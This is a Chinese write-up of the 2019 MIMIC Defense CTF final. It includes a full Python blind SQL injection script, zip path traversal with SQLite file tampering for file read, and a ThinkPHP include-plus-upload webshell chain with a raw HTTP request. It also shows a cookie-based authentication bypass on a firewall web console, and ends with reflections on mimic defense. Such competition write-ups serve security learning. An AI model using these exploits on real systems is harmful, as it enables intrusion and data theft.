MIMIC Defense CTF 2019 final writeup
作者：LoRexxar'@知道创宇404实验室
上周有幸去南京参加了强网杯拟态挑战赛，运气比较好拿了第二名，只是可惜是最后8分钟被爆了，差一点儿真是有点儿可惜。
有关于拟态的观念我会在后面讲防火墙黑盒攻击的 writeup 时再详细写，抛开拟态不谈，赛宁这次引入的比赛模式我觉得还蛮有趣的，白盒排位赛的排名决定你是不是能挑战白盒拟态，这样的多线并行挑战考验的除了你的实际水平，也给比赛本身平添了一些有趣的色彩（虽然我们是被这个设定坑了），虽然我还没想到这种模式如何应用在普通的ctf赛场上，但起码也是一个有趣的思路不是吗。
Web 白盒
sqlcms
这题其实相对比赛中的其他题目来说，就显得有些太简单了，当时如果不是因为我们是第一轮挑战白盒的队伍，浪费了 30 分钟时间，否则抢个前三血应该是没啥问题。
简单测试就发现，过滤了以下符号
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, and & | or for sub % ^ ~ |
此外还有一些字符串的过滤
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1 |
hex、substring、union select |
还有一些躺枪的(因为有or)
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1 |
information_schema |
总结起来就是，未知表名、不能使用逗号、不能截断的时间盲注。其实实际技巧没什么新意，已经是玩剩下的东西了，具体直接看 exp 吧
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# coding=utf-8 import requests import random import hashlib import time s = requests.Session() url='http://10.66.20.180:3002/article.php' tables_count_num = 0 strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@!#$%*().<>1234567890{}" def get_content(url): for i in xrange(50): # payload = "1 and ((SELECT length(user) from admin limit 1)="+str(i)+") and (sleep(2))" # payload = "(select case when ((SELECT length(t.2) from (select 1,2,3,4 union select * from flag) limit "+str(j)+") >"+str(i)+") then 0 else sleep(2) end)" payload = "(select case when ((SELECT length(t.4) from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) ="+str(i)+") then sleep(2) else 0 end)" if get_data(payload): print "[*] content_length: "+str(i) content_length = i break content = "" tmp_content = "" for i in range(1,content_length+1): for k in strings: tmp_content = content+str(k) tmp_content = tmp_content.ljust(content_length,'_') # payload = "1 and (SELECT ascii(mid(((SELECT user from admin limit 1))from("+str(i)+")))="+str(k+1)+") and (sleep(2))" payload = "(select case when ((SELECT t.4 from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) like '"+tmp_content+"') then sleep(2) else 0 end)" # print payload if get_data(payload): content += k print "[*] content: "+content break print "[*] content: " + content def get_response(payload): s = requests.Session() username = "teststeststests1234\\" s.post() def get_data(payload): u = url+'?id='+payload print u otime = time.time() # print u.replace(' ','%20') r = s.get(u) rr = r.text ptime = time.time() if ptime-otime >2: return True else: return False get_content(url) |
ezweb
这题觉得非常有意思，我喜欢这个出题思路，下面我们来一起整理下整个题目的思路。
首先是打开页面就是简单粗暴的登录，用户名只把.换成了_，然后就直接存入了 session 中。
当我们在用户名中插入/的时候，我们就会发现爆了无法打开文件的错误，/被识别为路径分割，然后 sqlite 又没有太高的权限去创建文件夹，所以就报错了，于是我们就得到了。
如果用户名被直接拼接到了数据库名字中，将.转化为_，
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1 |
./dbs/mimic_{username}.db |
直接访问相应的路径，就可以下载到自己的 db 文件，直接本地打开就可以看到其中的数据。
数据库里很明显由 filename 做主键，后面的数据是序列化之后的字符串，主要有两个点，一个是 file_type ，这代表文件上传之后，服务端会检查文件的类型，然后做相应的操作，其次还会保存相应的文件路径。
抛开这边的数据库以后，我们再从黑盒这边继续分析。
当你上传文件的时候，文件名是 md5(全文件名)+最后一个.后的后缀拼接。
对于后缀的检查，如果点后为 ph 跟任何字符都会转为 mimic 。
多传几次可以发现，后端的 file_type 是由前端上传时设置的 content-type 决定的，但后端类型只有4种，其中 text 会直接展现文件内容， image 会把文件路径传入 img 标签展示出来，zip 会展示压缩包里的内容，other 只会展示文件信息。
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switch ($type){ case 'text/php': case 'text/x-php': $this->status = 'failed';break; case 'text/plain': $this->info = @serialize($info);break; case 'image/png': case 'image/gif': case 'image/jpeg': $info['file_type'] = 'image'; $this->info = @serialize($info);break; case 'application/zip': $info['file_type'] = 'zip'; $info['file_list'] = $this->handle_ziparchive(); $this->info = @serialize($info); $this->flag = false;break; default: $info['file_type'] = 'other'; $this->info = @serialize($info);break; break; } |
其中最特别的就是 zip ，简单测试可以发现，不但会展示 zip 的内容，还会在uploads/{md5(filename)}中解压 zip 中的内容。
测试发现，服务端限制了软连接，但是却允许跨目录，我们可以在压缩包中加入../../a，这个文件就会被解压到根目录，但可惜文件后缀仍然收到之前对 ph 的过滤，我们没办法写入任何 php 文件。
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private function handle_ziparchive() { try{ $file_list = array(); $zip = new PclZip($this->file); $save_dir = './uploads/' . substr($this->filename, 0, strlen($this->filename) - 4); @mkdir($save_dir, 755); $res = $zip->extract(PCLZIP_OPT_PATH, $save_dir, PCLZIP_OPT_EXTRACT_DIR_RESTRICTION, '/var/www/html' , PCLZIP_OPT_BY_PREG,'/^(?!(.*)\.ph(.*)).*$/is'); foreach ($res as $k => $v) { $file_list[$k] = array( 'name' => $v['stored_filename'], 'size' => $this->get_size($v['size']) ); } return $file_list; } catch (Exception $ex) { print_r($ex); $this->status = 'failed'; } } |
按照常规思路来说，我们一般会选择上传.htaccess和.user.ini，但很神奇的是，.htaccess因为 apache 有设置无法访问，不知道是不是写进去了。.user.ini成功写入了。但是两种方式都没生效。
于是只能思考别的利用方式，这时候我们会想到数据被储存在sqlite中。
如果我们可以把 sqlite 文件中数据修改，然后将文件上传到服务端，我们不就能实现任意文件读取吗。
这里我直接读了 flag ，正常操作应该是要先读代码，然后反序列化 getshell
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public function __destruct() { if($this->flag){ file_put_contents('./uploads/' . $this->filename , file_get_contents($this->file)); } $this->conn->insert($this->filename, $this->info); echo json_encode(array('status' => $this->status)); } |
最后拿到 flag
拟态防火墙
两次参加拟态比赛，再加上简单了解过拟态的原理，我大概可以还原目前拟态防御的原理，也逐渐佐证拟态防御的缺陷。
下面是我在攻击拟态防火墙时，探测到的后端结构，大概是这样的（不保证完全准确）：
其中 Web 服务的执行体中，有 3 种服务端，分别为 nginx、apache 和 lighttpd 这3 种。
Web 的执行体非常简陋，其形态更像是负载均衡的感觉，不知道是不是裁决机中规则没设置还是 Web 的裁决本身就有问题。
而防火墙的执行体就更诡异了，据现场反馈说，防火墙的执行体是开了2个，因为反馈不一致，所以返回到裁决机的时候会导致互判错误...这种反馈尤其让我疑惑，这里的问题我在下面实际的漏洞中继续解释。
配合防火墙的漏洞，我们下面逐渐佐证和分析拟态的缺点。
我首先把攻击的过程分为两个部分，1是拿到 Web 服务执行体的 webshell，2是触发修改访问控制权限(比赛中攻击得分的要求)。
GetShell
首先我不得不说真的是运气站在了我这头，第一界强网杯拟态挑战赛举办的时候我也参加了比赛，当时的比赛规则没这么复杂，其中有两道拟态 Web 题目，其中一道没被攻破的就是今年的原题，拟态防火墙，使用的也是天融信的 Web 管理界面。
一年前虽然没日下来，但是幸运的是，一年前和一年后的攻击得分目标不一致，再加上去年赛后我本身也研究过，导致今年看到这个题的时候，开局我就走在了前面。具体可以看下面这篇 wp 。
https://mp.weixin.qq.com/s/cfEqcb8YX8EuidFlqgSHqg
由于去年我研究的时候已经是赛后了，所以我并没有实际测试过，时至今日，我也不能肯定今年和去年是不是同一份代码。不过这不影响我们可以简单了解架构。
https://github.com/YSheldon/ThinkPHP3.0.2_NGTP
然后仔细阅读代码，代码结构为 Thinkphp3.2 架构，其中部分代码和远端不一致，所以只能尝试攻击。
在3.2中，Thinkphp 有一些危险函数操作，比如 display，display 可以直接将文件include 进来，如果函数参数可控，我们又能上传文件，那么我们就可以 getshell。
全局审计代码之后我们发现在/application/home/Controller/CommonControler.class.php
如果我们能让 type 返回为 html ，就可以控制 display 函数。
搜索 type 可得$this->getAcceptType();
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$type = array( 'json' => 'application/json,text/x-json,application/jsonrequest,text/json', 'xml' => 'application/xml,text/xml,application/x-xml', 'html' => 'text/html,application/xhtml+xml,*/*', 'js' => 'text/javascript,application/javascript,application/x-javascript', 'css' => 'text/css', 'rss' => 'application/rss+xml', 'yaml' => 'application/x-yaml,text/yaml', 'atom' => 'application/atom+xml', 'pdf' => 'application/pdf', 'text' => 'text/plain', 'png' => 'image/png', 'jpg' => 'image/jpg,image/jpeg,image/pjpeg', 'gif' => 'image/gif', 'csv' => 'text/csv' ); |
只要将请求头中的 accept 设置好就可以了。
然后我们需要找一个文件上传，在UserController.class.php moduleImport函数里
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} else { $config['param']['filename']=$_FILES["file"]["name"]; $newfilename="./tmp/".$_FILES["file"]["name"]; if($_POST['hid_import_file_type']) $config['param']['file-format'] = formatpost($_POST['hid_import_file_type']); if($_POST['hid_import_loc']!='') $config['param']['group'] = formatpost($_POST['hid_import_loc']); if($_POST['hid_import_more_user']) $config['param']['type'] = formatpost($_POST['hid_import_more_user']); if($_POST['hid_import_login_addr']!='')$config['param']['address-name'] = formatpost($_POST['hid_import_login_addr']); if($_POST['hid_import_login_time']!='') $config['param']['timer-name'] = formatpost($_POST['hid_import_login_time']); if($_POST['hid_import_login_area']!='') $config['param']['area-name'] = formatpost($_POST['hid_import_login_area']); if($_POST['hid_import_cognominal']) $config['param']['cognominal'] = formatpost($_POST['hid_import_cognominal']); //判断当前文件存储路径中是否含有非法字符 if(preg_match('/\.\./',$newfilename)){ exit('上传文件中不能存在".."等字符'); } var_dump($newfilename); if(move_uploaded_file($_FILES["file"]["tmp_name"],$newfilename)) { echo sendRequestSingle($config); } else $this->display('Default/auth_user_manage'); } } |
这里的上传只能传到/tmp目录下，而且不可以跨目录，所以我们直接传文件上去。
紧接着然后使用之前的文件包含直接包含该文件
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GET /?c=Auth/User&a=index&assign=0&w=../../../../../../../../tmp/index1&ddog=var_dump(scandir('/usr/local/apache2/htdocs')); HTTP/1.1 Host: 172.29.118.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=spk6s3apvh5c54tj9ch052fp53; think_language=zh-CN Upgrade-Insecure-Requests: 1 |
上传文件的时候要注意 seesion 和 token ，token 可以从首页登陆页面获得。
至此我们成功获得了 webshell 。这里拿到 webshell 之后就会进入一段神奇的发现。
首先，服务端除了/usr以外没有任何的目录，其中/usr/中除了3个服务端，也没有任何多余的东西。换言之就是没有/bin，也就是说并没有一个linux的基本环境，这里我把他理解为执行体，在他的外层还有别的代码来联通别的执行体。
由于没有/bin，导致服务端不能执行system函数，这大大影响了我的攻击效率，这可能也是我被反超的一个原因...
继续使用php eval shell，我们发现后端3个执行体分别为nginx\apache\lighthttpd，实际上来说都是在同一个文件夹下
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/usr/local/apache2/htdocs /usr/local/nginx/htdocs /usr/local/lighttpd/htdocs |
由于 Web 的服务器可以随便攻击，有趣的是，在未知情况下，服务端会被重置，但神奇的是，一次一般只会重置3个服务端的一部分，这里也没有拟态裁决的判定，只要单纯的刷新就可以进入不同的后端，其感觉就好像是负载均衡一样。
这样我不禁怀疑起服务端的完成方式，大概像裁决机是被设定拼接在某个部分之前的，其裁决的内容也有所设定，到这里我们暂时把服务端架构更换。
阅读服务端代码
在拿到 shell 之后，主办方强调 Web 服务和题目无关，需要修改后端的访问控制权限，由于本地的代码和远程差异太大，所以首先要拿到远端的代码。
从/conf/menu.php中可以获得相应功能的路由表。
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... 'policy' => array( 'text' => L('SECURE_POLICY'), 'childs' => array( //访问控制 'firewall' => array( 'text' => L('ACCESS_CONTROL'), 'url' => '?c=Policy/Interview&a=control_show', 'img' => '28', 'childs' => '' ), //地址转换 'nat' => array( 'text' => L('NAT'), 'url' => '', 'img' => '2', 'childs' => array( 'nat' => array( 'text' => 'NAT', 'url' => '?c=Policy/Nat&a=nat_show' ), |
其中设置防火墙访问控制权限的路由为?c=Policy/Interview&a=control_show',
然后直接读远端的代码/Controller/Policy/interviewController.class.php
其操作相关为
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//添加策略 public function interviewAdd() { if (getPrivilege("firewall") == 1) { if($_POST['action1']!='') $param['action'] = formatpost($_POST['action1']); if($_POST['enable']!='') $param['enable'] = formatpost($_POST['enable']); if($_POST['log1']!='') $param['log'] = formatpost($_POST['log1']); if($_POST['srcarea']!='') $param['srcarea'] = '\''.formatpost($_POST['srcarea'],false).'\''; if($_POST['dstarea']!='') $param['dstarea'] = '\''.formatpost($_POST['dstarea'],false).'\''; /*域名*/ |
直接访问这个路由发现权限不够，跟入getPrivilege
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/** * 获取权限模板，$module是否有权限 * @param string $module * @return int 1:有读写权限，2：读权限，0:没权限 */ function getPrivilege($module) { if (!checkLogined()) { header('location:' . $_COOKIE['urlorg']); } return ngtos_ipc_privilege(NGTOS_MNGT_CFGD_PORT, M_TYPE_WEBUI, REQ_TYPE_AUTH, AUTH_ID, NGTOS_MNGT_IPC_NOWAIT, $module); } |
一直跟到 checklogin
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校验url合法性，是否真实登录 function checkLogined() { //获得cookie中的key $key = $_COOKIE['loginkey']; // debugFile($key); //获得url请求中的authid // $authid = $_GET['authid']; // debugFile($authid); //检查session中是否存在改authid和key if (!empty($key) && $key == $_SESSION['auth_id'][AUTH_ID]) { return true; } else { return false; } } /* |
发现对 cookie 中的 loginkey 操作直接对比了 auth_id ，id 值直接盲猜为1，于是绕过权限控制
添加相应的 cookie ，就可以直接操作访问控制页面的所有操作，但是后端有拟态防御，所以访问 500.
至此，我无意中触发了拟态扰动...这完全是在我心理预期之外的触发，在我的理解中，我以为是我的参数配置错误，或者是这个 api 还需要添加策略组，然后再修改。由于我无法肯定问题出在了哪，所以我一直试图想要看到这个策略修改页面，并正在为之努力。（我认为我应该是在正常的操作功能，不会触发拟态扰动...）
ps：这里膜@zsx和@超威蓝猫，因为我无法加载 jquery ，所以我看不到那个修改配置的页面是什么样的，但 ROIS 直接用 js 获取页面内容渲染...
在仔细分析拟态的原理之后，我觉得如果这个功能可以被正常修改（在不被拟态拦截的情况下），那么我们就肯定触发了所有的执行体（不可能只影响其中一台）。
那么我们反向思考过来，既然无法修改，就说明这个配置在裁决机背设置为白名单了，一旦修改就会直接拦截并返回 500！
所以我们当时重新思考了拟态防火墙的结构...我们发现，因为Web服务作为防火墙的管理端，在防火墙的配置中，至少应该有裁决机的 ip ，搞不好可以直接获取防火墙的 ip 。
这时候如果我们直接向后端ip构造socket请求，那么我们就能造成一次降维打击。
只是可惜，因为没有 system shell ，再加上不知道为什么蚁剑和菜刀有问题，我们只能花时间一个一个文件去翻，结果就是花了大量的时间还没找到(远程的那份代码和我本地差异太大了)，赛后想来，如果当场写一个脚本说不定就保住第一了2333
关于拟态
在几次和拟态防御的较量中，拟态防御现在的形态模式也逐渐清晰了起来，从最开始的测信道攻击、ddos攻击无法防御，以及关键的业务落地代价太大问题。逐渐到业务逻辑漏洞的防御缺陷。
拟态防御本身的问题越来越清晰起来，其最关键的业务落地代价太大问题，在现在的拟态防御中，逐渐使用放弃一些安全压力的方式来缓解，现在的拟态防御更针对倾向于组件级安全问题的防御。假设在部分高防需求场景下，拟态作为安全生态的一环，如果可以通过配置的方式，将拟态与传统的Waf、防火墙的手段相结合，不得不承认，在一定程度上，拟态的确放大了安全防御中的一部分短板。拟态防御的后续发展怎么走，还是挺令人期待的。
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